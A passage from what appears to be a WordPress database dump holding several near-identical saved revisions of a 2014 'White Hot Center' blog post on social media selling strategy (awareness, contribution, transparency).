delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'The Art of Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-2', '', '', '2014-08-25 10:04:07', '2014-08-25 17:04:07', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-2/', 0, 'revision', '', 0),
(2739, 2, '2014-08-25 10:04:12', '2014-08-25 17:04:12', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nBy now most early stage entrepreneurs and solo professionals have come to realize social media as an important channel for marketing and sales.\r\n\r\nIn my recent survey, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. The trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'The Art of Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-3', '', '', '2014-08-25 10:04:12', '2014-08-25 17:04:12', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-3/', 0, 'revision', '', 0),
(2740, 2, '2014-08-25 10:05:15', '2014-08-25 17:05:15', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nBy now most early stage entrepreneurs and solo professionals have come to realize social media as an important channel for marketing and sales.\r\n\r\nIn my recent survey, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. The trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-4', '', '', '2014-08-25 10:05:15', '2014-08-25 17:05:15', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-4/', 0, 'revision', '', 0),
(2741, 2, '2014-08-25 10:05:19', '2014-08-25 17:05:19', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nBy now most early stage entrepreneurs and solo professionals have come to realize social media as an important channel for marketing and sales.\r\n\r\nIn my recent survey, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. The trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-5', '', '', '2014-08-25 10:05:19', '2014-08-25 17:05:19', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-5/', 0, 'revision', '', 0),
(2742, 2, '2014-08-25 10:08:33', '2014-08-25 17:08:33', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. The trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-6', '', '', '2014-08-25 10:08:33', '2014-08-25 17:08:33', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-6/', 0, 'revision', '', 0),
(2743, 2, '2014-08-25 10:08:37', '2014-08-25 17:08:37', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. The trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-7', '', '', '2014-08-25 10:08:37', '2014-08-25 17:08:37', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-7/', 0, 'revision', '', 0);
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(2744, 2, '2014-08-25 10:12:19', '2014-08-25 17:12:19', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 